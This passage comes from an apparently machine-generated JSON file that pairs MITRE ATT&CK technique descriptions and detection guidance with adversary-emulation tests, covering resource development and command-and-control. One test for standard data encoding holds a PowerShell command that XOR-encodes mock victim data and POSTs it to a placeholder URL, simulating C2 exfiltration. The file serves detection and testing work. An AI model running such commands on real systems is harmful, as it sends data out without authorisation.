- "description": "Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nFor operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nEstablishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "resource-development"
- }
- ],
- "x_mitre_detection": "Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).",
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Persona: Social Media",
- "Network Traffic: Network Traffic Content"
- ]
- },
- "atomic_tests": []
- },
- "T1588": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1",
- "type": "attack-pattern",
- "created": "2020-10-01T01:56:24.776Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1588",
- "url": "https://attack.mitre.org/techniques/T1588"
- },
- {
- "source_name": "NationsBuying",
- "description": "Nicole Perlroth and David E. Sanger. (2013, July 12). Nations Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.",
- "url": "https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html"
- },
- {
- "url": "https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/",
- "description": "Bill Marczak and John Scott-Railton. (2016, August 24). The Million Dollar Dissident: NSO Group\u2019s iPhone Zero-Days used against a UAE Human Rights Defender. Retrieved December 12, 2016.",
- "source_name": "PegasusCitizenLab"
- },
- {
- "description": "Fisher, D. (2012, October 31). Final Report on DigiNotar Hack Shows Total Compromise of CA Servers. Retrieved March 6, 2017.",
- "source_name": "DiginotarCompromise",
- "url": "https://threatpost.com/final-report-diginotar-hack-shows-total-compromise-ca-servers-103112/77170/"
- },
- {
- "source_name": "FireEyeSupplyChain",
- "description": "FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.",
- "url": "https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop"
- },
- {
- "source_name": "Analyzing CS Dec 2020",
- "url": "https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/",
- "description": "Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021."
- },
- {
- "source_name": "Splunk Kovar Certificates 2017",
- "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html",
- "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020."
- },
- {
- "source_name": "Recorded Future Beacon Certificates",
- "url": "https://www.recordedfuture.com/cobalt-strike-servers/",
- "description": "Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved October 16, 2020."
- }
- ],
- "modified": "2021-10-18T12:26:22.831Z",
- "name": "Obtain Capabilities",
- "description": "Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle.\n\nIn addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.(Citation: NationsBuying)(Citation: PegasusCitizenLab)\n\nIn addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.(Citation: DiginotarCompromise)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "resource-development"
- }
- ],
- "x_mitre_detection": "Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific Malware-as-a-Service (MaaS) offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) Malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)\n\nConsider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Internet Scan: Response Content",
- "Malware Repository: Malware Content",
- "Certificate: Certificate Registration",
- "Malware Repository: Malware Metadata"
- ]
- },
- "atomic_tests": []
- },
- "T1584.004": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5",
- "type": "attack-pattern",
- "created": "2020-10-01T00:56:25.135Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1584.004",
- "url": "https://attack.mitre.org/techniques/T1584/004"
- },
- {
- "source_name": "ThreatConnect Infrastructure Dec 2020",
- "url": "https://threatconnect.com/blog/infrastructure-research-hunting/",
- "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."
- },
- {
- "source_name": "Mandiant SCANdalous Jul 2020",
- "url": "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation",
- "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021."
- },
- {
- "source_name": "Koczwara Beacon Hunting Sep 2021",
- "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2",
- "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021."
- }
- ],
- "modified": "2021-10-17T16:00:16.273Z",
- "name": "Server",
- "description": "Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of purchasing a [Server](https://attack.mitre.org/techniques/T1583/004) or [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may compromise third-party servers in support of operations.\n\nAdversaries may also compromise web servers to support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "resource-development"
- }
- ],
- "x_mitre_detection": "Once adversaries have provisioned software on a compromised server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Internet Scan: Response Content",
- "Internet Scan: Response Metadata"
- ]
- },
- "atomic_tests": []
- },
- "T1588.003": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--e7cbc1de-1f79-48ee-abfd-da1241c65a15",
- "type": "attack-pattern",
- "created": "2020-10-01T02:11:47.237Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1588.003",
- "url": "https://attack.mitre.org/techniques/T1588/003"
- },
- {
- "url": "https://en.wikipedia.org/wiki/Code_signing",
- "description": "Wikipedia. (2015, November 10). Code Signing. Retrieved March 31, 2016.",
- "source_name": "Wikipedia Code Signing"
- }
- ],
- "modified": "2021-10-17T16:19:50.018Z",
- "name": "Code Signing Certificates",
- "description": "Adversaries may buy and/or steal code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.\n\nPrior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may purchase or steal code signing certificates for use in operations. The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal code signing materials directly from a compromised third-party.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "resource-development"
- }
- ],
- "x_mitre_detection": "Consider analyzing code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, common name, and certificate authority. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in procuring code signing certificates.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Malware Repository: Malware Metadata"
- ]
- },
- "atomic_tests": []
- },
- "T1587": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--edadea33-549c-4ed1-9783-8f5a5853cbdf",
- "type": "attack-pattern",
- "created": "2020-10-01T01:30:00.877Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1587",
- "url": "https://attack.mitre.org/techniques/T1587"
- },
- {
- "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf",
- "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
- "source_name": "Mandiant APT1"
- },
- {
- "source_name": "Kaspersky Sofacy",
- "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
- "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
- },
- {
- "source_name": "Bitdefender StrongPity June 2020",
- "url": "https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf",
- "description": "Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020."
- },
- {
- "source_name": "Talos Promethium June 2020",
- "url": "https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html",
- "description": "Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."
- },
- {
- "source_name": "Splunk Kovar Certificates 2017",
- "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html",
- "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020."
- }
- ],
- "modified": "2021-10-17T16:07:08.768Z",
- "name": "Develop Capabilities",
- "description": "Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020)\n\nAs with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "resource-development"
- }
- ],
- "x_mitre_detection": "Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time.\n\nConsider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Malware Repository: Malware Content",
- "Internet Scan: Response Content",
- "Malware Repository: Malware Metadata"
- ]
- },
- "atomic_tests": []
- },
- "T1588.005": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--f4b843c1-7e92-4701-8fed-ce82f8be2636",
- "type": "attack-pattern",
- "created": "2020-10-01T02:17:46.086Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1588.005",
- "url": "https://attack.mitre.org/techniques/T1588/005"
- },
- {
- "source_name": "Exploit Database",
- "url": "https://www.exploit-db.com/",
- "description": "Offensive Security. (n.d.). Exploit Database. Retrieved October 15, 2020."
- },
- {
- "source_name": "TempertonDarkHotel",
- "description": "Temperton, J. (2015, August 10). Hacking Team zero-day used in new Darkhotel attacks. Retrieved March 9, 2017.",
- "url": "https://www.wired.co.uk/article/darkhotel-hacking-team-cyber-espionage"
- },
- {
- "source_name": "NationsBuying",
- "description": "Nicole Perlroth and David E. Sanger. (2013, July 12). Nations Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.",
- "url": "https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html"
- },
- {
- "url": "https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/",
- "description": "Bill Marczak and John Scott-Railton. (2016, August 24). The Million Dollar Dissident: NSO Group\u2019s iPhone Zero-Days used against a UAE Human Rights Defender. Retrieved December 12, 2016.",
- "source_name": "PegasusCitizenLab"
- },
- {
- "source_name": "Wired SandCat Oct 2019",
- "url": "https://www.vice.com/en/article/3kx5y3/uzbekistan-hacking-operations-uncovered-due-to-spectacularly-bad-opsec",
- "description": "Zetter, K. (2019, October 3). Researchers Say They Uncovered Uzbekistan Hacking Operations Due to Spectacularly Bad OPSEC. Retrieved October 15, 2020."
- }
- ],
- "modified": "2021-04-15T03:14:01.255Z",
- "name": "Exploits",
- "description": "Adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying)\n\nIn addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from individuals.(Citation: PegasusCitizenLab)(Citation: Wired SandCat Oct 2019) In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).(Citation: TempertonDarkHotel)\n\nAn adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation.\n\nAdversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "resource-development"
- }
- ],
- "x_mitre_detection": "\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1584.001": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Jeremy Galloway"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba",
- "created": "2020-10-01T00:51:28.513Z",
- "x_mitre_version": "1.2",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1584.001",
- "url": "https://attack.mitre.org/techniques/T1584/001"
- },
- {
- "source_name": "Krebs DNS Hijack 2019",
- "url": "https://krebsonsecurity.com/2019/02/a-deep-dive-on-the-recent-widespread-dns-hijacking-attacks/",
- "description": "Brian Krebs. (2019, February 18). A Deep Dive on the Recent Widespread DNS Hijacking Attacks. Retrieved February 14, 2022."
- },
- {
- "source_name": "ICANNDomainNameHijacking",
- "url": "https://www.icann.org/groups/ssac/documents/sac-007-en",
- "description": "ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved March 6, 2017."
- },
- {
- "source_name": "Microsoft Sub Takeover 2020",
- "url": "https://docs.microsoft.com/en-us/azure/security/fundamentals/subdomain-takeover",
- "description": "Microsoft. (2020, September 29). Prevent dangling DNS entries and avoid subdomain takeover. Retrieved October 12, 2020."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) Adversaries may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps.(Citation: Krebs DNS Hijack 2019)\n\nSubdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020)",
- "modified": "2022-04-20T14:10:48.814Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Domains",
- "x_mitre_detection": "Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "resource-development"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Domain Name: Active DNS",
- "Domain Name: Passive DNS",
- "Domain Name: Domain Registration"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- }
- }
- },
- {
- "category": "command-and-control",
- "data": {
- "T1132.001": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
- "type": "attack-pattern",
- "created": "2020-03-14T23:36:52.095Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1132.001",
- "url": "https://attack.mitre.org/techniques/T1132/001"
- },
- {
- "url": "https://en.wikipedia.org/wiki/Binary-to-text_encoding",
- "description": "Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.",
- "source_name": "Wikipedia Binary-to-text Encoding"
- },
- {
- "url": "https://en.wikipedia.org/wiki/Character_encoding",
- "description": "Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.",
- "source_name": "Wikipedia Character Encoding"
- },
- {
- "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
- "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
- "source_name": "University of Birmingham C2"
- }
- ],
- "modified": "2020-03-14T23:36:52.095Z",
- "name": "Data Encoding: Standard Encoding",
- "description": "Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "command-and-control"
- }
- ],
- "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Content"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1132.001"
- },
- "atomic_tests": [
- {
- "name": "XOR Encoded data.",
- "auto_generated_guid": "c3ed6d2a-e3ad-400d-ad78-bbfdbfeacc08",
- "description": "XOR encodes the data with a XOR key.\nReference - https://gist.github.com/loadenmb/8254cee0f0287b896a05dcdc8a30042f\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "destination_url": {
- "description": "Destination URL to post encoded data.",
- "type": "url",
- "default": "example.com"
- },
- "plaintext": {
- "description": "Plain text mimicking victim data sent to C2 server.",
- "type": "string",
- "default": "Path\\n----\\nC:\\Users\\victim"
- },
- "key": {
- "description": "XOR key used for encoding the plaintext.",
- "type": "string",
- "default": "abcdefghijklmnopqrstuvwxyz123456"
- }
- },
- "executor": {
- "command": "$plaintext = ([system.Text.Encoding]::UTF8.getBytes(\"#{plaintext}\"))\n$key = \"#{key}\"\n$cyphertext = @();\nfor ($i = 0; $i -lt $plaintext.Count; $i++) {\n $cyphertext += $plaintext[$i] -bxor $key[$i % $key.Length];\n}\n$cyphertext = [system.Text.Encoding]::UTF8.getString($cyphertext)\n[System.Net.ServicePointManager]::Expect100Continue = $false\nInvoke-WebRequest -Uri #{destination_url} -Method POST -Body $cyphertext -DisableKeepAlive\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1568.002": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Ryan Benson, Exabeam",
- "Barry Shteiman, Exabeam",
- "Sylvain Gil, Exabeam"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd",
- "type": "attack-pattern",
- "created": "2020-03-10T17:44:59.787Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1568.002",
- "url": "https://attack.mitre.org/techniques/T1568/002"
- },
- {
- "source_name": "Cybereason Dissecting DGAs",
- "url": "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf",
- "description": "Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019."
- },
- {
- "source_name": "Cisco Umbrella DGA",
- "url": "https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/",
- "description": "Scarfo, A. (2016, October 10). Domain Generation Algorithms \u2013 Why so effective?. Retrieved February 18, 2019."
- },
- {
- "source_name": "Unit 42 DGA Feb 2019",
- "url": "https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/",
- "description": "Unit 42. (2019, February 7). Threat Brief: Understanding Domain Generation Algorithms (DGA). Retrieved February 19, 2019."
- },
- {
- "url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html",
- "description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.",
- "source_name": "Talos CCleanup 2017"
- },
- {
- "source_name": "Akamai DGA Mitigation",
- "url": "https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html",
- "description": "Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019."
- },
- {
- "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html",
- "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.",
- "source_name": "FireEye POSHSPY April 2017"
- },
- {
- "source_name": "ESET Sednit 2017 Activity",
- "url": "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/",
- "description": "ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019."
- },
- {
- "source_name": "Data Driven Security DGA",
- "url": "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/",
- "description": "Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019."
- },
- {
